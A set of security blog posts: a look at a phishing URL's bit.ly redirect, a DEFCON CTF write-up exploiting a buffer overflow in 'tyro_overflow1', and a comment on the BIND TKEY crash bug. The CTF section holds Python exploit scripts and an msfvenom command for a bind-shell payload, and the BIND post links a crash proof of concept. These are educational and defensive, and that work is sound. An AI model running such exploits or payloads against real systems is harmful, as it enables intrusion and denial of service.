Here's the bit.ly page showing where the URL in the phishing email redirects him to (notice the URL in my browser's address box):

BTW, the frozen "2 Clicks" statement in the above suggests that the bit.ly URL was used twice before they locked it down.  This may be further evidence that the phishing attack was successful.

The next screen shot just shows me using the base64 utility to decode the portions of the URL which show this attack was directed at Podesta, and that a customized bit.ly redirection had been established for him (Note: I translated the '%3D' in the URL to the '=' that it represents.)

And finally, here's the publicly available Google page which is pointed to by the last argument in the phishing URL.  This is used to make the fake password change page more believable.

---

I would just finish by observing that while the "big guys" in the industry sometimes have access to data that the rest of us never see, often we can peek under the hood and see a lot of the same stuff they see.

As security folks, I think it's fair to say that we live in interesting times!  :-)

"tyro" ... really?

The following falls somewhere between being an attempt to provide you with a useful guide on exploiting a vulnerable program, and therapy for me.  :-)

This year's DEFCON was, as usual, fantastic.  Since I've been working recently on trying to develop some offensive skills, I thought it would be fun to play around with the OpenCTF which was being held at DEFCON.  yeah, right.

I won't go much into the rest of the OpenCTF, other than to say it was fantastic and I highly recommend giving it a try.

After my team-mate, Ron, and I had dispatched with all the low hanging fruit we could find, we turned our attention to what seemed like the main attraction to the first level in the game - a series of services over the network.  They were named "tyro_" and then some type of vulnerability.  For example, "tyro_heap" or "tyro_infoleak1".  Tyro - noun: a beginner or novice. Perfect, some nice warmups before we get to the real challenges.

What made these challenges especially appealing was that you could download the program providing the "service".  This means that you could transfer it to your own machine, load it up into a debugger and plumb its secrets utilizing whatever 31337 forensics and reverse engineering tools you have at your disposal.  Cool, what could go wrong with that?  My DEFCON Black Badge was within grasp.

Like every self-respecting DEFCON attendee, I had built a special laptop to take to DEFCON.  In order to be prepared for whatever DEFCON threw my way, I had loaded it with several different virtual machines.  Far and away the most important tool I loaded on my machine was a spanking clean, brand new VM running Kali.  And since bigger and newer is better, it was the 64 bit, rolling update, distribution of Kali. No running out of virtual memory for this hacker.  :-)

That turned out to be my undoing.

So when Ron and I started playing with the "tyro" challenges on my laptop, we hit a bit of a snag.  Although they were certainly Linux executable binaries, they all would not run.  Turns out that the 64 bit Kali distribution I had didn't have the right libraries to run these particular 32 bit binaries.  Ouch!

Rather than wax eloquent on the sequence of wrong turns and wasted time that followed I'll just state:

• Several other folks at the CTF managed to overcome this problem.  But despite helpful suggestions from others I never figured out how to get that Kali image to run these challenges.  Although I could be wrong, I think the way that the rolling update is configured, combined with my ignorance, prevented these helpful suggestions from working. I'm sure there was a way to get it working, I just couldn't figure it out.
• In any other situation, my solution would have been to download the 32 bit Kali image and use that.  But the "safe" DEFCON network was too slow (e.g. 12+ hours to download the ISO), I wasn't willing to try the "unsafe" network, and any other options I had were even slower.

I ended up eventually moving on to other things at DEFCON, and I brought home some challenges to play with at my leisure.
__________________________________________________________

Several weeks after DEFCON I finally had some time to play with one of the "tyro" challenges, "tyro_overflow1".  In hopes of helping others avoid my mistakes, here's a description of how I managed to "figure out this challenge.


When you run the executable (on the 32-bit Kali distribution) the program prints it's name and then prompts you for input, "Can you trigger the success function?".  If you type in some short string, it says "Got ", followed by your input, an exclamation point, and then exits.

hmmm, this is "tyro_overflow" ... what are the chances that by providing a long input string I can overflow some buffer and find a vulnerability?

Well, that's interesting.  If the input is too long, the program crashes.  Let's pursue this in more detail.  To the debugger!

If it's not already clear, I'm still a beginner at the offensive side of security.  So far the only Linux debugger I've had any experience with is "edb" (Evan's Debugger).   To start edb with the challenge program:

edb --run ./tyro_overflow1_0601e9d93a2ff84ae7a85dc199fa8233 

Once edb is up and had the challenge loaded, we can start by running the challenge and seeing if we can reproduce the crash that we've discovered.

In edb, select "run" twice (from the "Debug" menu) to run the program (the first "run" will load the program and then pause it.)

Now is a good time to observe one of the nasties the creators of this challenge left for us.  When the challenge starts running, it sets an alarm which terminates the program after 30 seconds.  So once you start the program running you have 30 seconds to provide the input before it aborts.  Here's an example of that (using the Unix "time" function so you can see how long it takes to abort.)

When you start running the challenge, a simple window will pop up with the output from tyro_overflow. You can also provide input to the program in this window.

A natural first step is to reproduce our long string which crashed the program, and see if edb can help us figure out how to take advantage of this vulnerability.

YEEEHAW!!! You can see in the screen-shot above that when I provided the long strings of 'A's to the program, the debugger caught the resulting crash.

Here's what's really exciting about that crash ... the program crashed because it tried to execute code at an invalid address.  But look at the address it tried to execute, hex 41414141.  For those of you who haven't memorized the ASCII codes, hex 41 is the ASCII code for 'A'!

What we're seeing is that somehow, 4 of the 'A's that I fed the program got used as an address for it to go to.  That means that by adjusting my input I can make the program go to any address I want!  (Ignoring the possibility that my input may get munged somehow.)  Talk about raw power! This discovery is the key to compromising this program.  Everything from here on is just building on my ability to force the program to goto an address I specify.

At this point in my investigation, I manged to snatch defeat from the jaws of victory.  But it might be interesting anyway, and it's therapeutic for me, so I'll describe the path I took to finally understanding this challenge.

Based on what I've been studying recently, the 'conventional' path that one takes when exploiting a buffer overflow like this goes along the lines of:

• Identify where in the input we're actually providing the address to goto.
• Figure out how to provide some malicious code for the compromised program to run.  This is typically the "shell code" that we often embed in the overly long input. 
• Figure out how to make the program execute the shell code.  This can be tricky because you usually don't know ahead of time what address your shell code is going to end up at.  If it always ended up at the same address, you could just use your control of where the computer goes, to go to your shell code.

Once I came down from the adrenaline high of controlling where the program goes, I began to address the question of which one of the many 'A' that I typed are actually the ones which control where the program goes.  Kali includes a really neat Metasploit tool for doing this.  Behold!

The tool pattern_create creates a string which has the property that any two character string occurs only once.  In the command above, I created a 200 character string.  When I reran the challenge under edb, and pasted this special string into the input windows, the program crashed again - but this time at a different address which came from the input string.

(BTW, you can paste into the window that edb provides by using the middle mouse button. On most mice, this is done by pushing down on the scroll wheel.)

The address it crashed at, hex 37654136, came from 4 characters in the input string.  The companion program to pattern_create, pattern_offset, will tell me where in the input string these 4 characters are. (Yes, I could do this by hand, but I have a computer to do it for me)

So now I've found that it's the 4 characters starting at 140 characters into the input string which control where the program goes.  Just to double check, let's create a prototype exploit program and prove that we know how to control where the challenge program goes.
___________________________________

#!/usr/bin/python

# Test program to verify that we can make
# tyro_overflow go to an address we specify

padding1 = 'A' * 140   # pad out to 140

jmpAddr = 'BBBB'       # where we say to goto

padding2 = 'C' * 100   # just to make sure input is big

exploitString = padding1 + jmpAddr + padding2

print exploitString

 ___________________________________

When we run our new program, we get the following output:

When we paste the string from our new program into tyro_overflow, we get the following crash:

which shows that our exploit was able to make tyro_overflow goto the address Hex 42424242 (which is the ASCII for 'BBBB' that we used as the address.)

Up to this point, everything I've done can be used for the working exploit (although as I'll point out later, some of it was unnecessary.)

However, from here I went down the wrong path.  Eventually I had back up and try a different route.  Nobody every said this stuff was easy!  I'll briefly show what I did anyway, it's interesting and under some circumstances it would have been correct.

At this point, I started to look at what the state of the various system registers during the crash.

• You can see the current value of a register by double-clicking on it (the registers are in the upper right of the display.)
• If you right-click in the "Data Dump" area, you can select "Goto Address" to make the Data Dump area show you the contents of memory at a specific address.

Using these tools, I discovered that the "ESP" register (aka the extended stack pointer) was pointing to the next character in in my input string after the "address" of BBBB.  This is fantastic!  This means that right after I put the address to goto, I can load up my input string with shell code with no size restrictions (if I had to use the string before the address, it probably would be limited to 140 bytes of shell code which might have been tight.)

I won't go into detail on how to produce the shell code, but if you're interested, I generated it with another Metasploit tool ....

 msfvenom -p 'linux/x86/shell_bind_tcp' LPORT=31337 -n 20 -e x86/alpha_mixed -f python

This produced a string I could include in a python program. The string corresponded to shell code which would have started a shell on the system and listened for connections on port 31337.  But as I mentioned above, this turned out to be the wrong approach to compromising this application.

The final step necessary to complete this compromise would have been to find some pre-existing code that I could direct the computer to which would in turn execute my shell code.

Keep in mind, I've discovered that the ESP register is now pointing directly to my shell code.  All I need to do is find code already in place which will reliably jump to the address in ESP.

And this is where my world came apart.  In the "Plugins" menu, edp has an "OpcodeSearcher" tool which will search for specific instructions in memory.  This tool is intended for just this type of use, and using it I found numerous 'jmp ESP' instructions (search for "ESP -> EIP") However, none of the ones I tried stayed in the same memory location between program runs.  This made it impossible for me to reliably find a way to jump to my shell code.  There may be a bit of code somewhere that would have worked, but I hadn't found it when I decided to try other approaches. 

Here is where I got back on the right path ... almost!

While I was using edb to look at the input string in the Data Dump window, I happened come across the place in memory where tyro_overflow stores the strings which is uses.

Notice that the string "/bin/sh" is there along with the other strings we've seen the program use.  Wow! Where does the program use this string? Does it already have "shell code", just waiting for me to jump to?  Could this be what the message "Can you trigger the success function" refer to?

I'll tell you now, the answer to the last 2 questions is yes and yes. :-)

So here's the final trick which eluded me until I looked up somebody else's solution to this challenge.

Looking in the data dump, we can see that the string '/bin/sh' resides in memory starting at address Hex 08048700.  Any code in the program which uses this string must somehow refer to this memory address when it invokes /bin/sh.  So I spent a fair amount of time using the edb Reference Searcher plugin trying to find code which referred to this memory location.  When that didn't pan out, I tried using the Binary Searcher to search for any part of the program which had this memory address in it.  No dice.

What was I doing wrong?  This had to be the right approach!

Finally, I looked a somebody else's (Blast Hardcheese) solution - and it all became clear.

The mistake I made was that when I searched for 08048700, i.e. the address of the string '/bin/sh', I didn't take into account that on Intel x86 computers, addresses are stored in 'little endian' format.  This means that the actual bytes in memory are stored in opposite order than we read them.  Instead of searching for 08048700, I should have searched for 00870408.  If I had, I would have found the following little snippet of code:

You can see in the 4th line that the address of the string '/bin/sh' (08048700) is loaded into the stack and then some subroutine is called.  That's enough to show that this is the routine we need to call.

Remember, we know that the program will go to whatever address starts at the 140th character in our input string.  So if we put Hex 0804858d (which is where the code above starts) in the input string there, we'll end up running the code which uses '/bin/sh'.  WoooHoooo!

One last detail remains, which is to discover by trial and error that this routine actually reads a command from the user input to execute when it calls /bin/sh.

Although not critical to success, I also discovered that there is no need for the input string to extend beyond the address to goto.  So it only needs to be 144 characters long.

So here's the essence of the exploit:

• Overly long input will cause the program to read 4 bytes starting at the 140th character in the input and goto that address. BTW, those 4 bytes need to be in little endian format.  :-)
• At Hex 0804858d is a routine which will read the next line of input, and execute that command in /bin/sh
• So we provide an input string which has the hex value 0804858d starting at the 140th character.
• On the next line, provide a command to execute

Here's the final exploit:
___________________________________

#!/usr/bin/python

# exploit a buffer overflow in the OpenCTF challenge, tyro_overflow

padding = ('A' * 140)  # Overflow the input with 140 characters

jmpAddr = '\x8d\x85\x04\x08'  # 0x0804858d in little endian format

exploitString = padding + jmpAddr

print exploitString

print "uname -a"   # just a command to show it worked

___________________________________

And here it is in action:

Here's the other writeup which helped me figure out what I was missing:

https://ctftime.org/writeup/3643

What? No Logo?

As is appropriate for a blog named "We're Doomed", I've rousted myself out of a deep summer slumber to comment on the tkey bug in Bind.

We're doomed!

I've always been attracted to the single packet kill, and that's what this effectively is (the POC I have actually sends a few packets, but I don't think they're all necessary.

The Bind software is one of the foundations of the Internet.  It's software which does DNS translation, converting the string "www.google.com" into its actual address on the Internet.  Unless you're given to memorizing IP addresses (in which case, you must love IPv6), DNS needs to up and working for you to use the Internet.

Tuesday, a bug in Bind was announced which allows anyone who can send a DNS query to a Bind server to crash it. Just like that ... somebody can crash any Bind server they can reach. Quickly.  Easily.  Indiscriminately.

Watch ...

Here's how to download, compile and execute the attack in six easy steps:

Here's the victim's perspective:

Now, imagine a script running this against ... whatever.

I would encourage you to download the POC made available by Robert Graham (see the second reference below.)  It's very nicely commented C code that describes the bug in some detail.  BTW, the code is designed to be portable between most OS.  The Git archive for this POC also provides a Windows .exe (which I have not tested.)

If you're responsible for DNS somewhere and you somehow depend on Bind (i.e. some commercial DNS solutions use Bind), stop reading this and test and deploy the patch now! 

Here are some references:

• https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/
• https://github.com/robertdavidgraham/cve-2015-5477/
• http://blog.erratasec.com/
• http://arstechnica.com/security/2015/07/major-flaw-could-let-lone-wolf-hacker-bring-down-huge-swath-of-internet/